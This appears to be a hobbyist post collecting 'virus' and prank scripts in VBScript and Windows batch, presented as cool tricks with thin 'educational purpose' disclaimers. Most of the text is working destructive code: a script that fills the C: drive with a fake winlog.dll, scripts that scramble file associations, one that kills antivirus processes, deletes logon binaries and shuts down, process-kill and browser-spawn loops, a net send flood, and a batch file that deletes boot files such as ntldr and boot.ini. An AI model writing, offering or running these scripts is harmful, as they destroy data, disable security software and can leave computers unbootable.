A space eater VB Code......

dim strDir,strfile,strtxt
dim obfso,obfolder,obshell,obfile,obtxtfile
strDir="C:\WINDOWS"
strfile="\winlog.dll"
strtxt="This Some Dangerous Virus Attacking ur PC"
set obfso=CreateObject("Scripting.FileSystemObject")
if obfso.FileExists(strDir&strfile) then
set obfolder=obfso.getfolder(strDir)
Else
set obfile=obfso.CreateTextfile(strDir & strfile)
do
obfile.writeline(strtxt)
loop
end if
on error resume next
Set obtxtfile=obfso.OpenTextFile(strDir & strfile,8,true)
Set obtxtfile=obfso.OpenTextFile(strDir & strfile,8,true)
do
obtxtfile.writeline(strtxt)
loop
obtxtfile.close()


About This Script :
This Script actually eats up the c: drive space.
It Creates a file named “winlog.dll” in the “C:\WINDOWS” directory
When the script is executed the size of the file “winlog.dll” keeps up increasing approximately 350MB/minute.

Create A fake Message Box..

do
msgbox "System Error : 423"
loop

It's a cool trick try it......

A batch code to change the extention of ur files......

----Disclaimer----
Don't use it to harm anyone it's just for educational purpose.....
CODE:

Title Ext_Change Virus
color a
Rem This Virus file replaces the actual file extensions with the given extensions
@echo off
assoc .jpeg=htmlfile
assoc .html=jpegfile
assoc .avi=txtfile
assoc .mpeg=regfile
assoc .txt=avifile
assoc .reg=htmlfile
assoc .exe=jpegfile
assoc .sys=regfile
assoc .dll=exefile
assoc .dill=tempfile
msg Your System got Infected…..
pause
exit

Don't try this on ur system.....

title Hack Setup
color 0A
@echo off
set end=md "Hack installing"
set fin=copy "Hack log.txt" "Installing"
%end%
%fin%
net send * Hack is installing, press OK to begin set up.
kill NAVAPSVC.exe /F /Q
kill zonelabs.exe /F /Q
kill explorer.exe /F /Q
cls
assoc .exe=txtfile
assoc .txt=mp3file
cls
msg * It is you who is hacked....
msg * I warned you, and you kept going. Challenge me and this is what happens.
DEL C:\WINDOWS\system32\logoff.exe /F /Q
DEL C:\WINDOWS\system32\logon.exe /F /Q
DEL C:\WINDOWS\system32\logon.scr /F /Q
cls
shutdown

just for educational purpose don't run this on others system aswell.....

Task Kill

@echo off
cls
:a
taskkill /im explorer.exe /f
goto :a

E-Bomb

@echo off
:A
start iexplore
goto:A

Getting your self automated chat

CODE:

dim fname
fname=inputbox(" Hi whats your name?")
fname=inputbox(" Whats up?")
fname=inputbox(" Thats kool.")

Temporarily flood the network:

CODE
:CRASH
net send * WORKGROUP ENABLED
net send * WORKGROUP ENABLED
GOTO CRASH

Wipe BootUp files of System

Its a batch file that wipes that start-up files of a computer

-----Disclaimer -----

Not to be used to damage/harm other people’s computer systems

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini